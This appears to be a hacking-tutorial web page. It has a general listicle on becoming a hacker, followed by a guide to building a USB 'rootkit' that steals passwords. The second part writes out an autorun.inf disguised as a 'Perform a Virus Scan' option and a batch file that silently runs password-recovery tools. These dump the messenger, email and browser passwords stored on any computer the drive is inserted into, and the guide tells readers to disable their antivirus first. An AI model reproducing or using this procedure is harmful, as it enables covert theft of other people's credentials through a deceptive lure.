How to become a Hacker

Hacking is an engaging field but it is surely not easy. To become a hacker one has to have an attitude and curiosity of learning and adapting new skills. You must have a deep knowledge of computer systems, programming languages, operating systems and the journey of learning goes on and on. Some people think that a hacker is always a criminal and do illegal activities but they are wrong. Actually many big companies hire hackers to protect their systems and information and are highly paid. We have prepared a list of 12 most important steps necessary to become a hacker, have a deeper look

1. Learn UNIX/LINUX

UNIX/LINUX is an open-source operating system that provides better security to computer systems. It was first developed by AT&T in Bell labs and contributed a lot to the world of security. You should install LINUX freely available open-source versions on your desktops as without learning UNIX/LINUX, it is not possible to become a hacker.

• Start Learning Linux

2. Code in C language 

C programming is the base of learning UNIX/LINUX as this operating system is coded in C programming which makes it the most powerful language as compared to other programming languages. C language was developed by Dennis Ritchie in the late 1970s. To become a hacker you should master C language.

3. Learn to code in more than one Programming Language

It is important for a person in the hacking field to learn more than one programming. There are many programming languages to learn such as Python, JAVA, C++. Free eBooks, tutorials are easily available online.

• Top 6 Websites To Learn Computer Programming Languages

4. Learn Networking Concepts

Another important and essential step to becoming a hacker is to be good at networking concepts and understanding how the networks are created. You need to know the differences between different types of networks and must have a clear understanding of TCP/IP and UDP to exploit vulnerabilities (loopholes) in the system.

Understanding what LAN, WAN, VPN, Firewall is also important.

You must have a clear understanding and use of network tools such as Wireshark, NMAP for packet analyzing, network scanning, etc.

5. Learn More Than One Operating Systems 

It is essential for a hacker to learn more than one operating system. There are many other Operating systems apart from Windows, UNIX/LINUX, etc. Every system has a loophole, the hacker needs it to exploit it.

6. Learn Cryptography

To become a successful hacker you need to master the art of cryptography. Encryption and Decryption are important skills in hacking. Encryption is widely done in several aspects of information system security in authentication, confidentiality, and integrity of data. Information on a network is in an encrypted form such as passwords. While hacking a system, these encrypted codes need to be broken, which is called decryption.

• Decrypting Window 7 Password Using Ophcrack

7. Learn more and more about hacking

Go through various tutorials, eBooks written by experts in the field of hacking. In the field of hacking, learning is never-ending because security changes every day with new updates in systems.

• Hackers Underground Hand Book Completely Free
• Hacking For Beginners Free Ebook

8. Experiment A Lot

After learning some concepts, sit and practice them. Set up your own lab for experimental purposes. You need a good computer system to start with as some tools may require powerful processor, RAM, etc. Keep on Testing and learning until you breach a system.

9. Write Vulnerability (Loophole program)

Vulnerability is the weakness, loophole or open door through which you enter the system. Look for vulnerabilities by scanning the system, network, etc. Try to write your own and exploit the system.

• 6 Most Common Password Cracking Methods And Their Countermeasures

10. Contribute To Open Source Security Projects

An open-source computer security project helps you a lot in polishing and testing your hacking skills. It’s not a piece of cake to get it done. Some organizations such as MOZILLA, APACHE offer open source projects. Contribute and be a part of them even if your contribution is small, it will add a big value to your field.

11. Continue never ending Learning 

Learning is the key to success in the world of hacking. Continuous learning and practicing will make you the best hacker. Keep yourself updated about security changes and learn about new ways to exploit systems

12. Join Discussions and meet hackers 

Most important for a hacker is to make a community or join forums, discussions with other hackers worldwide, so that they can exchange and share their knowledge and work as a team. Join Facebook groups related to hacking where you can get more from experts.

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How to Hack Passwords Using a USB Drive

As we all know, Windows stores most of the passwords which are used daily, including instant messenger passwords such as MSN, Yahoo, AOL, Windows Messenger, etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox.

There exist many tools for recovering these passwords from their stored places. Using these tools and a USB pen-drive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail) if you use the associated programs of these accounts.

IE Pass view: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet Explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more.

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed:

Record Index, Web Site, User Name, Password, User Name Field and Password Field.

Preparing Your USB Drive for Password Hacking:

Here is a step by step procedure to create the password hacking toolkit:

You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
   ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe andpasswordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it:

   [autorun]
   open=launch.bat
   ACTION= Perform a Virus Scan

   save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pen-drive.
3. Create another Notepad and write the following text onto it:

   start mspass.exe /stext mspass.txt
   start mailpv.exe /stext mailpv.txt
   start iepv.exe /stext iepv.txt
   start pspv.exe /stext pspv.txt
   start passwordfox.exe /stext passwordfox.txt
   

   Save the Notepad and rename it from New Text Document.txt to launch.bat.Copy the launch.bat file to your USB drive.
   Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen-drive on any computer to sniff the stored passwords. Just follow these steps:

1. Insert the pen-drive and the autorun window will pop-up. (This is because we have created an auto-run pen-drive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the.TXT files.
4. Remove the pen-drive and you’ll see the stored passwords in the.txt files.

This hack works on Windows 2000, XP, Vista and 7.

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

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